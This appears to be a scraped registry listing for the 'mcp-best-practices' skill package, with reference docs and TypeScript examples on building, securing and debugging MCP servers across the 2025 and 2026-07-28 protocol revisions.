silent degradation to the unauthenticated path, so your server just sees anonymous traffic. Verify the exact MCP endpoint URL is in the provider's `validAudiences`.\n- **DCR success is `201 Created`, not `200`.** RFC 7591 section 3.2.1: *\"The successful registration response uses an HTTP 201 Created status code.\"* Some auth libraries answer `200`. Lenient clients (the TS SDK checks only `response.ok`) don't notice; a strict client aborts OAuth setup and then connects **without a token**, so the user lands on your anonymous or paywall path instead of a login. Normalize the status in your registration route.\n- **Registered clients go stale.** Clients cache their `client_id` and rarely re-register, and many authorization servers enforce each client's *registered* scopes at `/authorize`. Add a scope (say `offline_access`) after clients registered and those clients fail with `invalid_scope` from then on. Some other clients re-register on every start, so registration rows pile up and DCR rate limits fire. Plan for both: widen stale registrations to scopes you now support, and size DCR rate limits for re-registering clients.\n- **\"Connected\" is not \"authenticated.\"** On an endpoint that serves both anonymous and signed-in users, clients split: some start OAuth only after a `401` + `WWW-Authenticate`, others probe `/.well-known/oauth-protected-resource` on connect. A server that answers credential-less `tools/list` with `200` never triggers the first kind - they report \"connected, N tools\" and every call then hits the auth or payment wall. A blanket `401` gate fixes them and breaks payment clients that expect a `200` + `isError` challenge (see `error-handling.md`). Decide per endpoint which population you serve.\n- **A stale refresh token can be a hard dead-end.** Some clients exit the handshake on `400 invalid_grant` at refresh with no automatic re-registration. Keep signing secrets stable across deploys and avoid deleting registered clients, or you strand existing sessions.\n\nFile v1.3.0:references/spec-2026-07-28.md\n\n# Spec 2026-07-28 (released)\n\nThe current released revision, published 2026-07-28. It is a **stateless/sessionless overhaul**: the `initialize` handshake and `Mcp-Session-Id` are gone, and every request carries its own identity and version in `_meta`.\n\nRead this alongside `transport-patterns.md` (which covers both eras on the wire) and `v2-migration.md` (which covers the SDK side).\n\n> **This revision is opt-in.** TypeScript SDK v2.0.0 speaks the 2025 protocol by default - see \"The Two Eras\" in `SKILL.md`. Nothing here is on the wire until you explicitly select the revision.\n\n## Table of Contents\n- [Per-Request `_meta` Identity](#per-request-_meta-identity)\n- [server/discover](#serverdiscover)\n- [subscriptions/listen](#subscriptionslisten)\n- [Per-Request Log Level](#per-request-log-level)\n- [Multi Round-Trip Requests](#multi-round-trip-requests)\n- [Stateful Tools: Handles Instead of Sessions](#stateful-tools-handles-instead-of-sessions)\n- [Standard Request Headers](#standard-request-headers)\n- [Cacheable Results](#cacheable-results)\n- [Error Code Allocation](#error-code-allocation)\n- [Other Removals and Loosenings](#other-removals-and-loosenings)\n\n## Per-Request `_meta` Identity\n\nThere is no handshake, so every request re-states what `initialize` used to establish once. Four reserved `_meta` keys carry it:\n\n| Key | Direction | Requirement |\n|-----|-----------|-------------|\n| `io.modelcontextprotocol/protocolVersion` | request | Carries the revision the client is speaking |\n| `io.modelcontextprotocol/clientCapabilities` | request | Replaces `InitializeRequest.capabilities` |\n| `io.modelcontextprotocol/clientInfo` | request | Clients **SHOULD** identify themselves on each request |\n| `io.modelcontextprotocol/serverInfo` | result | Servers **SHOULD** identify themselves in each result's `_meta` |\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": 1,\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"get_weather\",\n    \"arguments\": { \"location\": \"Seattle, WA\" },\n    \"_meta\": {\n      \"io.modelcontextprotocol/protocolVersion\": \"2026-07-28\",\n      \"io.modelcontextprotocol/clientInfo\": { \"name\": \"ExampleClient\", \"version\": \"1.0.0\" },\n      \"io.modelcontextprotocol/clientCapabilities\": {}\n    }\n  }\n}\n```\n\nVersion mismatches return `UnsupportedProtocolVersionError` (`-32022`).\n\n**Extension negotiation moved here too.** Clients advertise extension support in `_meta[\"io.modelcontextprotocol/clientCapabilities\"]` per request, not in an `initialize` exchange.\n\n**SDK note**: `serverInfo` lives in the result's `_meta`, not the result body - a late change ([PR #2513](https://github.com/modelcontextprotocol/typescript-sdk/pull/2513), v2 beta.5) that realigned the SDK with the final spec. The TS SDK exports the key as `SERVER_INFO_META_KEY`. SDK builds at or below `2.0.0-beta.3` implement the pre-realignment shape and fail against conforming servers.\n\n## server/discover\n\nReplaces initialize-time negotiation. **Servers MUST implement it**; clients **MAY** call it.\n\n> Servers **MUST** implement this RPC to advertise their supported protocol versions, capabilities, and identity.\n\nA client is free to skip it entirely and invoke any RPC inline, handling `UnsupportedProtocolVersionError` if the version is unsupported. It is most useful for presenting server information up front and as a backward-compatibility probe on stdio.\n\n```json\n{\n  \"jsonrpc\": \"2.0\",\n  \"id\": \"discover-1\",\n  \"result\": {\n    \"resultType\": \"complete\",\n    \"supportedVersions\": [\"2026-07-28\"],\n    \"capabilities\": { \"tools\": {}, \"resources\": {} },\n    \"_meta\": {\n      \"io.modelcontextprotocol/serverInfo\": { \"name\": \"ExampleServer\", \"version\": \"1.0.0\" }\n    },\n    \"instructions\": \"This server provides weather and resource utilities.\",\n    \"ttlMs\": 3600000,\n    \"cacheScope\": \"public\"\n  }\n}\n```\n\n`DiscoverResult` is itself a `CacheableResult` - it carries `ttlMs`/`cacheScope`, so clients can cache the discovery response.\n\n### The stdio probing gotcha\n\nSome stdio servers **exit** on a request they did not expect before initialization, rather than answering an error and carrying on. A `server/discover` probe then kills the process, and because the SDK cannot distinguish \"legacy server\" from \"server I just killed\", there is nothing left to fall back to. TS SDK v2 works around it by probing on a disposable sibling process ([PR #2514](https://github.com/modelcontextprotocol/typescript-sdk/pull/2514)); its own comment scopes the hazard to *\"SDKs that terminate on any pre-`initialize` request\"* rather than naming an implementation, and so should you - this is a per-version property, not a permanent trait of any language SDK.\n\n**The rule for your own stdio server: an unexpected or unknown pre-initialization request is an error to answer, never a reason to exit.** And answering a valid `server/discover` must not lock the connection into the modern era either - a client may read your discover answer and *still* fall back to `initialize` on the same process (observed in the field). A server that latched \"require `_meta` on every request\" after discover then rejects every later legacy `tools/list` with `-32602`, intermittently, depending on startup timing. Let a later `initialize` select the legacy lifecycle, and test the discover -> `initialize` -> `tools/list` sequence explicitly. Claude Code began asking stdio servers about the newer revision in 2.1.285 as a staged rollout, so this sequence is live traffic, not a lab case. Reply `-32601 Method not found` (or `-32602` if the request is recognized but malformed) and keep reading stdin. A server that stays alive works with dual-era clients for free; one that exits forces every client to grow a sibling-process workaround.\n\nTwo failure modes make this hard to notice:\n\n- **Silent by construction.** A harness whose MCP server died during load can still finish the turn and exit `0`. \"The command succeeded\" is not evidence the tools were there - grep the run log for the load-failure line before trusting any run that depended on MCP.\n- **A partial fix still fails.** The Rust SDK is the worked example: `server/discover` has been implemented since `rmcp` 3.0.0 (2026-07-28), so the method itself is no longer the problem. What a modern-era rmcp server rejects is a probe whose `_meta` lacks the required keys - and there are exactly **two**, `io.modelcontextprotocol/protocolVersion` and `io.modelcontextprotocol/clientCapabilities` (`clientInfo` is SHOULD, not required). Since 3.1.4 (2026-08-20) it answers `-32602` naming the missing keys instead of closing silently - but it still closes rather than continuing. Supporting the method is not the same as tolerating a malformed probe.\n\n## subscriptions/listen\n\nOne long-lived POST-response stream replaces both the HTTP GET endpoint and `resources/subscribe`/`resources/unsubscribe`.\n\nThe client sends a `notifications` filter; the server **MUST NOT** send notification types the client did not explicitly request.\n\n| Filter field | Type | Delivers |\n|---|---|---|\n| `toolsListChanged` | `boolean` | `notifications/tools/list_changed` |\n| `promptsListChanged` | `boolean` | `notifications/prompts/list_changed` |\n| `resourcesListChanged` | `boolean` | `notifications/resources/list_changed` |\n| `resourceSubscriptions` | `string[]` | `notifications/resources/updated` for those URIs |\n\nAll fields are optional; omitting one means not subscribing to it.\n\nThe server **MUST** send `notifications/subscriptions/acknowledged` as the first message, carrying the subscription ID in `_meta` under `io.modelcontextprotocol/subscriptionId`, and **MUST NOT** send any notification on the subscription before it. The acknowledgment's `notifications` field reflects only the subset the server agreed to honor - **check it against what you requested**, since unsupported types are silently omitted.\n\nRequest-scoped notifications (`notifications/progress`, `notifications/message`) do **not** flow here. They stay on the response stream of the request they relate to.\n\n**Keep-alive**: servers are *encouraged* (not SHOULD) to periodically emit an SSE comment line (`:\\r\\n`) so intermediaries do not kill idle streams; clients **MUST** ignore SSE comment lines. Both SDK lines now do this automatically via `keepAliveMs` (default 15000, `0` disables).\n\n## Per-Request Log Level\n\n`logging/setLevel` is removed. Level is set per request via `io.modelcontextprotocol/logLevel` in `_meta`, and the server **MUST NOT** emit `notifications/message` for any request that did not include the field.\n\nPractical consequence: there is no ambient log level any more. A server cannot be \"put into debug mode\" for a connection - logging is opt-in per call, which also means a request with no `logLevel` should produce no log notifications at all.\n\nLogging is itself Deprecated under the feature lifecycle (SEP-2577). The suggested migrations are `stderr` (stdio) or OpenTelemetry.\n\n## Multi Round-Trip Requests\n\nMRTR ([SEP-2322](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2322)) replaces server-initiated requests (`roots/list`, `sampling/createMessage`, `elicitation/create`) wholesale. A server cannot call the client; instead it returns an interim result asking for more input.\n\n- All results carry a required `resultType`: `\"complete\"` or `\"input_required\"`.\n- An `input_required` result is an `InputRequiredResult` whose `inputRequests` field carries what the server needs.\n- The client answers with `inputResponses` on a **retry of the original request** - but *\"the JSON-RPC `id` **MUST** be different between the initial request and the retry.\"* \"Retry\" means the same method and params, not the same envelope; a server correlating by request id will match the wrong thing.\n- `inputRequests` is a **keyed map**, not a list, and the keys are yours to choose. Each key **MUST** be unique over the lifetime of the interaction: reusing one after its response arrived breaks the client's cross-poll deduplication and makes `inputResponses` ambiguous. It also lets you safely ignore `inputResponses` for keys you no longer recognize.\n- Clients **MUST** treat results from earlier-protocol servers that omit `resultType` as `\"complete\"`.\n\n**`requestState`** is the sanctioned way to correlate an out-of-band interaction across retries. Because the client learns the outcome by retrying, the old server-initiated completion signal (`notifications/elicitation/complete`) and its `elicitationId` correlator were both removed; a server that needs to match a retry to an in-flight interaction encodes its own identifier in `requestState`.\n\n**`requestState` comes back from the client, so it is attacker-controlled input:**\n\n> servers **MUST** treat `requestState` as an attacker-controlled input. If `requestState` influences authorization, resource access, or business logic, servers **MUST** protect its integrity (e.g. HMAC or AEAD) and **MUST** reject state that fails verification.\n\nIntegrity protection may be skipped only when tampering can cause nothing worse than request failure. Bind the state to the authenticated principal and give it a TTL so it cannot be replayed by another user or later. TS SDK v2 ships `createRequestStateCodec(...)`, an HMAC-SHA256 `{ mint, verify }` pair, so you don't hand-roll it. In handlers, prefer the SDK's `inputRequired(...)` / `acceptedContent(...)` helpers: one handler serves both eras because the default legacy shim turns a returned request into a real `elicitation/create` for 2025-era clients.\n\n## Stateful Tools: Handles Instead of Sessions\n\nWith no protocol-level session, a server cannot rely on implicit per-connection state. The spec's (non-normative) answer: a creation tool returns an explicit handle that later tools accept as an ordinary argument.\n\n```jsonc\n// -> tools/call  { \"name\": \"create_basket\", \"arguments\": {} }\n// <- result      { \"structuredContent\": { \"basket_id\": \"bsk_a1b2c3\" } }\n// -> tools/call  { \"name\": \"add_item\", \"arguments\": { \"basket_id\": \"bsk_a1b2c3\", \"sku\": \"...\" } }\n```\n\nThe model carries the handle forward. Four design rules:\n\n- **Authorization** - a handle is a name, not a capability. Validate the caller against it on *every* call. Unauthenticated servers make it a de facto bearer token: real entropy (UUIDv4), bounded lifetime.\n- **Opacity** - handles encoding internal structure invite parsing and guessing.\n- **Lifetime** - state the retention policy in the *creation tool's description* (\"baskets expire after 24h of inactivity\") so the model sees it when deciding to create state.\n- **Expiry errors** - a call against an expired or unknown handle returns a tool execution error saying so, so the model can recover by creating a new one.\n\n## Standard Request Headers\n\nStreamable HTTP POSTs now require routing headers ([SEP-2243](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2243)), so intermediaries can route and authorize without parsing the body:\n\n| Header | Source field | Required for |\n|---|---|---|\n| `Mcp-Method` | `method` | All requests |\n| `Mcp-Name` | `params.name` or `params.uri` | `tools/call`, `resources/read`, `prompts/get` |\n\n### `x-mcp-header`: mirroring tool parameters into headers\n\nA tool schema can mark individual parameters with `x-mcp-header`, and the client copies those argument values into request headers (`Mcp-Param-{name}`) so a gateway can route or authorize on them without parsing the body. Emitting it is optional for you; honoring it is not optional for the client:\n\n> While the use of `x-mcp-header` is optional for servers, clients **MUST** support this feature. [...] Clients using the Streamable HTTP transport **MUST** reject tool definitions where any `x-mcp-header` value violates these constraints. Rejection means the client **MUST** exclude the invalid tool from the result of `tools/list`.\n\nThat last sentence is the trap: a malformed `x-mcp-header` does not degrade to \"header not sent\", it makes the **whole tool disa\n\nArchive v1.2.1: 14 files, 103897 bytes\n\nFiles: CHANGELOG.md (31085b), LICENSE.txt (9157b), references/error-handling.md (12456b), references/extensions-registry.md (16084b), references/mcp-apps.md (12712b), references/sdk-bugs.md (7112b), references/security-auth.md (24630b), references/spec-2026-07-28.md (29927b), references/tool-schema-guide.md (29192b), references/transport-patterns.md (17855b), references/v2-migration.md (25187b), skill-card.md (2814b), SKILL.md (33524b), _meta.json (137b)\n\nArchive v1.2.0: 14 files, 104032 bytes\n\nFiles: CHANGELOG.md (30789b), LICENSE.txt (9157b), references/error-handling.md (12456b), references/extensions-registry.md (16084b), references/mcp-apps.md (12712b), references/sdk-bugs.md (7112b), references/security-auth.md (24622b), references/spec-2026-07-28.md (29927b), references/tool-schema-guide.md (29192b), references/transport-patterns.md (17855b), references/v2-migration.md (25187b), skill-card.md (3543b), SKILL.md (33524b), _meta.json (137b)\n\nArchive v1.1.2: 14 files, 90340 bytes\n\nFiles: CHANGELOG.md (26653b), LICENSE.txt (9157b), references/error-handling.md (12456b), references/extensions-registry.md (13153b), references/mcp-apps.md (10857b), references/sdk-bugs.md (3118b), references/security-auth.md (23547b), references/spec-2026-07-28.md (21854b), references/tool-schema-guide.md (26697b), references/transport-patterns.md (13915b), references/v2-migration.md (24264b), skill-card.md (3116b), SKILL.md (29340b), _meta.json (137b)\n\nArchive v1.1.1: 14 files, 90302 bytes\n\nFiles: CHANGELOG.md (26552b), LICENSE.txt (9157b), references/error-handling.md (12456b), references/extensions-registry.md (13153b), references/mcp-apps.md (10857b), references/sdk-bugs.md (3118b), references/security-auth.md (23547b), references/spec-2026-07-28.md (21854b), references/tool-schema-guide.md (26697b), references/transport-patterns.md (13915b), references/v2-migration.md (24264b), skill-card.md (2832b), SKILL.md (29500b), _meta.json (137b)\n\nArchive v1.1.0: 14 files, 90118 bytes\n\nFiles: CHANGELOG.md (26144b), LICENSE.txt (9157b), references/error-handling.md (12456b), references/extensions-registry.md (13153b), references/mcp-apps.md (10857b), references/sdk-bugs.md (3118b), references/security-auth.md (23547b), references/spec-2026-07-28.md (21854b), references/tool-schema-guide.md (26697b), references/transport-patterns.md (13915b), references/v2-migration.md (24264b), skill-card.md (2846b), SKILL.md (29383b), _meta.json (137b)\n\nArchive v1.0.0: 13 files, 89942 bytes\n\nFiles: CHANGELOG.md (23256b), LICENSE.txt (9157b), references/error-handling.md (12456b), references/extensions-registry.md (13153b), references/mcp-apps.md (10857b), references/security-auth.md (23306b), references/spec-2026-07-28.md (17433b), references/tool-schema-guide.md (23477b), references/transport-patterns.md (13915b), references/v2-migration.md (24264b), skill-card.md (3562b), SKILL.md (43906b), _meta.json (137b)\n\nArchive v0.8.2: 12 files, 68614 bytes\n\nFiles: CHANGELOG.md (16505b), LICENSE.txt (9157b), references/error-handling.md (11240b), references/extensions-registry.md (11417b), references/mcp-apps.md (10857b), references/security-auth.md (19826b), references/tool-schema-guide.md (16367b), references/transport-patterns.md (10457b), references/v2-migration.md (18098b), skill-card.md (3440b), SKILL.md (38987b), _meta.json (137b)\n\nArchive v0.8.1: 12 files, 66577 bytes\n\nFiles: CHANGELOG.md (15737b), LICENSE.txt (9157b), references/error-handling.md (11240b), references/extensions-registry.md (11417b), references/mcp-apps.md (10857b), references/security-auth.md (16672b), references/tool-schema-guide.md (16367b), references/transport-patterns.md (10457b), references/v2-migration.md (18098b), skill-card.md (2776b), SKILL.md (38477b), _meta.json (137b)\n\nArchive v0.8.0: 12 files, 66501 bytes\n\nFiles: CHANGELOG.md (15559b), LICENSE.txt (9157b), references/error-handling.md (11240b), references/extensions-registry.md (11417b), references/mcp-apps.md (10857b), references/security-auth.md (16672b), references/tool-schema-guide.md (16367b), references/transport-patterns.md (10457b), references/v2-migration.md (18098b), skill-card.md (3213b), SKILL.md (38170b), _meta.json (137b)","readmeExcerpt":"Skill: mcp-best-practices Owner: tenequm Summary: Build, harden, and debug production MCP servers with the TypeScript SDK. Use when writing or reviewing an MCP server - transports, tool schemas, errors, OAuth, token bloat, SDK migrations, MCP Apps, Registry. Assumes a server already exists. Tags: latest:1.3.0 Version history: v1.3.0 | 2026-10-06T12:18:33.750Z | user Updated mcp-best-practices from 1.2.1 to 1.3.0. Cha","codeSnippets":[],"executableExamples":[{"language":"typescript","snippet":"import { McpServer } from \"@modelcontextprotocol/server\";\nimport { WebStandardStreamableHTTPServerTransport } from \"@modelcontextprotocol/server\";\nimport { ProtocolError, ProtocolErrorCode } from \"@modelcontextprotocol/core\";"},{"language":"typescript","snippet":"import { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\";\nimport { WebStandardStreamableHTTPServerTransport } from \"@modelcontextprotocol/sdk/server/webStandardStreamableHttp.js\";\nimport { StdioServerTransport } from \"@modelcontextprotocol/sdk/server/stdio.js\";"},{"language":"typescript","snippet":"import { createMcpHandler, hostHeaderValidationResponse, McpServer, originValidationResponse } from \"@modelcontextprotocol/server\";\n\nconst handler = createMcpHandler(() => {\n  const server = new McpServer({ name: \"my-server\", version: \"1.0.0\" });\n  registerTools(server);   // register tools, resources, prompts inside the factory\n  return server;\n});\n\nexport default {\n  async fetch(request: Request): Promise<Response> {\n    // createMcpHandler is deliberately validation-free: guard Host/Origin in front of it.\n    const rejected =\n      hostHeaderValidationResponse(request, [\"mcp.example.com\"]) ??\n      originValidationResponse(request, [\"app.example.com\"]);\n    return rejected ?? handler.fetch(request);\n  },\n};"},{"language":"typescript","snippet":"server.registerTool(\"search_docs\", {\n  title: \"Document Search\",\n  description: \"Search documents by keyword or phrase\",\n  inputSchema: z.object({\n    query: z.string().describe(\"Search query\"),\n    max_results: z.number().optional().describe(\"Max results (default 20)\"),\n  }),\n  outputSchema: z.object({\n    results: z.array(z.object({ id: z.string(), text: z.string() })),\n    has_more: z.boolean(),\n  }),\n  annotations: { readOnlyHint: true, destructiveHint: false, idempotentHint: true, openWorldHint: true },\n}, async ({ query, max_results }) => {\n  const result = await fetchDocs(query, max_results);\n  return {\n    // Both channels carry IDENTICAL bytes. Divergent payloads = the text block\n    // silently vanishes on Claude Code/Codex/Copilot. See \"Tool Result Delivery\" below.\n    structuredContent: result,\n    content: [{ type: \"text\", text: JSON.stringify(result) }],\n  };\n});"},{"language":"typescript","snippet":"// DO: Tool execution error - LLM can self-correct\nreturn {\n  isError: true,\n  content: [{ type: \"text\", text: \"Date must be in the future. Current date: 2026-03-25\" }],\n};\n\n// DON'T: throw for validation - you lose control of what the LLM sees\nthrow new ProtocolError(ProtocolErrorCode.InvalidParams, \"Invalid date\");"},{"language":"typescript","snippet":"const server = new McpServer({\n  name: \"docs-api\",\n  version: \"1.0.0\",\n  instructions: \"Knowledge base API. Use search_docs for full-text search, get_doc for retrieval by ID. All tools are read-only.\",\n});"}],"parameters":null,"dependencies":[],"permissions":[],"extractedFiles":[{"path":"SKILL.md","content":"---\nname: mcp-best-practices\ndescription: Build, harden, and debug production MCP servers with the TypeScript SDK. Use when writing or reviewing an MCP server - transports, tool schemas, errors, OAuth, token bloat, SDK migrations, MCP Apps, Registry. Assumes a server already exists.\nmetadata:\n  version: \"1.3.0\"\n  categories: \"development, integrations\"\n  topics: \"mcp, typescript-sdk, tool-design, transports, server-hardening\"\n  upstream: \"@modelcontextprotocol/sdk@1.32.1, @modelcontextprotocol/server@2.3.1, @modelcontextprotocol/ext-apps@2.0.3, modelcontextprotocol-spec@2026-07-28\"\n  openclaw:\n    homepage: https://github.com/tenequm/skills/tree/main/skills/mcp-best-practices\n    emoji: \"🔌\"\n    envVars:\n      - name: MAX_MCP_OUTPUT_TOKENS\n        required: false\n        description: Claude Code client-side cap on MCP tool result size, referenced in the result-size budget guidance\n---\n\n# MCP Best Practices\n\nDecision reference for building production MCP servers with the TypeScript SDK. Not a tutorial - assumes you already have a working server and need to make it correct, fast, and secure.\n\n## Quick Reference\n\n| Component | Current | Notes |\n|-----------|---------|-------|\n| Spec (released) | **2026-07-28** ([specification](https://modelcontextprotocol.io/specification/latest)) | Stateless/sessionless overhaul - see \"Spec 2026-07-28\" below and `references/spec-2026-07-28.md` |\n| Spec (still deployed) | **2025-11-25** | Still the bulk of deployed software and the TS client default - but Claude Code now negotiates 2026-07-28 with HTTP servers that offer it |\n| TS SDK (current) | **v2.3.1** (2026-10-05): `/server`, `/client`, `/core` 2.3.1; `/node` 2.1.1, `/express` + `/hono` 2.0.2, `/fastify` 2.0.1 (no longer lockstep) | `createMcpHandler` serves both eras by default; the client speaks 2025-era unless told otherwise |\n| TS SDK (legacy) | **v1.32.1** (`@modelcontextprotocol/sdk`) | Bug + security fixes for >=6 months after v2 GA, never a revision past 2025-11-25; source on the [`v1.x` branch](https://github.com/modelcontextprotocol/typescript-sdk/tree/v1.x) |\n| JSON Schema | **2020-12** default (2019-09 / draft-07 accepted since v2.0.0) | - |\n| Transport | **Streamable HTTP** (remote), **stdio** (local) | SSE + WebSocket removed in v2 |\n| Extensions | **MCP Apps** (Stable, SEP-1865), **Auth Extensions** (official), **Tasks** ([ext-tasks](https://github.com/modelcontextprotocol/ext-tasks)) | Domain-specific WGs |\n| Registry | **Preview** with v0.1 API freeze since 2025-10-24 ([registry](https://modelcontextprotocol.io/registry/about)) | GA pending |\n\n**v2 imports** (current):\n```typescript\nimport { McpServer } from \"@modelcontextprotocol/server\";\nimport { WebStandardStreamableHTTPServerTransport } from \"@modelcontextprotocol/server\";\nimport { ProtocolError, ProtocolErrorCode } from \"@modelcontextprotocol/core\";\n```\n\n**v1 imports** (legacy line, still widely deployed):\n```typescript\nimport { McpServer } from \"@modelcontextprotocol/sdk/server/mcp.js\";\n"},{"path":"_meta.json","content":"{\n  \"ownerId\": \"kn76gpsgjw5chv0xvzbzcb8cxn81x46r\",\n  \"slug\": \"mcp-best-practices\",\n  \"version\": \"1.3.0\",\n  \"publishedAt\": 1791289113750\n}"},{"path":"references/error-handling.md","content":"# Error Handling\n\nFull error taxonomy, code examples, and patterns for tool errors, protocol errors, and payment integration.\n\n## Table of Contents\n- [Error Taxonomy](#error-taxonomy)\n- [Tool Execution Errors](#tool-execution-errors)\n- [Protocol Errors](#protocol-errors)\n- [The error.data Loss Bug](#the-errordata-loss-bug)\n- [Error Helper Pattern](#error-helper-pattern)\n- [Payment Error Patterns](#payment-error-patterns)\n\n## Error Taxonomy\n\nMCP has two distinct error reporting mechanisms. Choosing the wrong one makes the LLM blind to fixable problems.\n\n| Type | JSON-RPC | LLM Visibility | Self-Correction | Use For |\n|------|----------|----------------|-----------------|---------|\n| **Tool Execution Error** | `CallToolResult` with `isError: true` | Always (clients SHOULD show) | Yes | Input validation, API failures, business logic, rate limits |\n| **Protocol Error** | JSON-RPC error response (`{ error: { code, message } }`) | Maybe (clients MAY show) | No | Unknown tool, malformed request, server crash, capability mismatch |\n\n**The rule** (SEP-1303, merged into spec 2025-11-25): If the LLM could self-correct by seeing the error message, it MUST be a Tool Execution Error. Protocol errors are for structural problems the LLM can't fix.\n\n### SEP-2140 Extension (proposal; issue closed in favor of spec PR #2145)\n\nExtends SEP-1303 to cover three more cases that should also be Tool Execution Errors:\n1. **Tool resolution failures** - unknown tool name (currently protocol error)\n2. **Tool unavailability** - disabled/policy-restricted tool\n3. **Output validation failures** - structuredContent doesn't match outputSchema\n\nSource: [modelcontextprotocol#2140](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/2140), closed 2026-01-23 in favor of [PR #2145](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2145)\n\n## Tool Execution Errors\n\nReturn `isError: true` in the `CallToolResult`. The content array carries the error message the LLM will see.\n\n### Input Validation\n\n```typescript\nasync function searchHandler({ query, since }: { query: string; since?: string }) {\n  // Validate input - return tool error so LLM can correct\n  if (since) {\n    const date = new Date(since);\n    if (isNaN(date.getTime())) {\n      return {\n        isError: true,\n        content: [{ type: \"text\", text: `Invalid date format: \"${since}\". Use ISO format (YYYY-MM-DD).` }],\n      };\n    }\n    if (date > new Date()) {\n      return {\n        isError: true,\n        content: [{ type: \"text\", text: `Date must be in the past. Received: ${since}. Current: ${new Date().toISOString().split(\"T\")[0]}` }],\n      };\n    }\n  }\n\n  const results = await doSearch(query, since);\n  return { content: [{ type: \"text\", text: JSON.stringify(results) }] };\n}\n```\n\n### Upstream API Failures\n\n```typescript\nasync function fetchHandler({ url }: { url: string }) {\n  try {\n    const response = await fetch(url);\n    if (!response.ok) {\n      return {\n        isError: true,\n        content:"},{"path":"references/extensions-registry.md","content":"# Extensions and Registry\n\nMCP extensions system, authorization extensions, and the MCP Registry.\n\n## Table of Contents\n- [Extensions System](#extensions-system)\n- [Authorization Extensions](#authorization-extensions)\n- [MCP Registry](#mcp-registry)\n- [Server Capabilities Beyond Tools](#server-capabilities-beyond-tools)\n\n## Extensions System\n\nExtensions are optional, strictly additive capabilities layered on the core MCP protocol. They enable modular features (auth), specialized behavior (domain-specific), and experimental incubation without changing the core spec.\n\n### Three-Layer Architecture\n\n1. **MCP Core Specification** - baseline client-server interoperability\n2. **MCP Projects** - supporting infrastructure (Registry, Inspector)\n3. **MCP Extensions** - optional patterns for specialized use cases\n\n### Extension Identifiers\n\nFormat: `{vendor-prefix}/{extension-name}`\n\n| Prefix | Usage |\n|--------|-------|\n| `io.modelcontextprotocol` | Official extensions |\n| Reversed domain (e.g., `com.example`) | Third-party extensions |\n\n### Official Extensions\n\n| Extension | Identifier | Status | Repo |\n|-----------|-----------|--------|------|\n| MCP Apps | `io.modelcontextprotocol/ui` | Stable (SEP-1865, 2026-01-26); SDK `ext-apps@2.0.0` 2026-09-08 | [ext-apps](https://github.com/modelcontextprotocol/ext-apps) |\n| OAuth Client Credentials | `io.modelcontextprotocol/oauth-client-credentials` | Draft | [ext-auth](https://github.com/modelcontextprotocol/ext-auth) |\n| Enterprise-Managed Auth | `io.modelcontextprotocol/enterprise-managed-authorization` | Stable (2026-06-18) | [ext-auth](https://github.com/modelcontextprotocol/ext-auth) |\n| Tasks | `io.modelcontextprotocol/tasks` | Official (SEP-2663, final 2026-05-15); repo dropped its \"experimental\" framing 2026-08-19, schema frozen Stable at `2026-07-28` | [ext-tasks](https://github.com/modelcontextprotocol/ext-tasks) |\n| Skills | `io.modelcontextprotocol/skills` | Official ([SEP-2640](https://modelcontextprotocol.io/seps/2640-skills-extension) Final; merged 2026-09-13) | [docs](https://modelcontextprotocol.io/extensions/skills/overview) |\n\n### Negotiation\n\n**2025-era wires** - both sides declare extension support in `extensions` during initialization:\n\n```json\n// Client (initialize request)\n{\n  \"capabilities\": {\n    \"extensions\": {\n      \"io.modelcontextprotocol/ui\": { \"mimeTypes\": [\"text/html;profile=mcp-app\"] }\n    }\n  }\n}\n\n// Server (initialize response)\n{\n  \"capabilities\": {\n    \"extensions\": { \"io.modelcontextprotocol/ui\": {} }\n  }\n}\n```\n\n**On 2026-07-28** there is no `initialize`, so this exchange does not exist. Clients advertise extension support **per request**:\n\n> Clients advertise extension support in `_meta[\"io.modelcontextprotocol/clientCapabilities\"]` within each request\n\nServers advertise theirs in the `capabilities` of their `server/discover` result. The `extensions` field was added to both `ClientCapabilities` and `ServerCapabilities` in this revision.\n\nEach extension defines its settings s"},{"path":"references/mcp-apps.md","content":"# MCP Apps\n\nInteractive HTML interfaces rendered inside MCP hosts. The MCP Apps spec (SEP-1865) reached **Stable** status on 2026-01-26 as the first official MCP extension (`io.modelcontextprotocol/ui`).\n\n> **`@modelcontextprotocol/ext-apps` 2.0.0 (2026-09-08; current 2.0.3, whose published `dist/` is unchanged) is a breaking release - of the TypeScript API, not the protocol.** *\"The MCP Apps wire protocol is unchanged: 2.x Views run in 1.x hosts and 2.x hosts render 1.x Views (covered by a test that runs the published 1.7.5 against this release in both directions). What breaks is dependencies and the TypeScript API.\"* You can upgrade either side independently. See [Migrating to 2.0](https://github.com/modelcontextprotocol/ext-apps/blob/main/docs/migrate-to-2.md).\n\n## Upgrading to ext-apps 2.0\n\n| Change | Detail |\n|---|---|\n| **Peer packages** | `@modelcontextprotocol/sdk@^1` is replaced by `@modelcontextprotocol/client@^2.0.0` and `@modelcontextprotocol/core@^2.0.0` (both **required** - `App` and `AppBridge` extend the client's `Protocol`) and `@modelcontextprotocol/server@^2.0.0` (optional, only for the `./server` helpers). Node.js 20+. |\n| **Zod** | **zod 3 is dropped**; the peer range is `zod@^4.2.0`. Schemas must implement Standard JSON Schema (`~standard.jsonSchema`) - *\"zod 4.0 and 4.1 do not expose `~standard.jsonSchema`\"*, so 4.2.0 is a real floor, not a suggestion. ArkType and Valibot also qualify. |\n| **Handler context** | *\"Custom handlers receive the SDK 2.x `BaseContext`: `extra.signal` is now `extra.mcpReq.signal`, `extra.requestId` is `extra.mcpReq.id`.\"* |\n| **Registration** | The 1.x `(Schema, handler)` form *\"still works as a deprecated overload with a one-time warning ... and goes away in 3.0.\"* Move to the config-object form now. |\n\nThe examples below use the v1-era imports (`@modelcontextprotocol/sdk/...`), which remain correct on the 1.x line. On 2.x, import `McpServer` and the transport from `@modelcontextprotocol/server` exactly as in `v2-migration.md`, and install `@modelcontextprotocol/ext-apps @modelcontextprotocol/server @modelcontextprotocol/client @modelcontextprotocol/core zod@^4.2.0` instead of the 1.x pair.\n\n## Table of Contents\n- [Architecture](#architecture)\n- [Server Implementation](#server-implementation)\n- [UI Implementation](#ui-implementation)\n- [Project Setup](#project-setup)\n- [CSP and Security](#csp-and-security)\n- 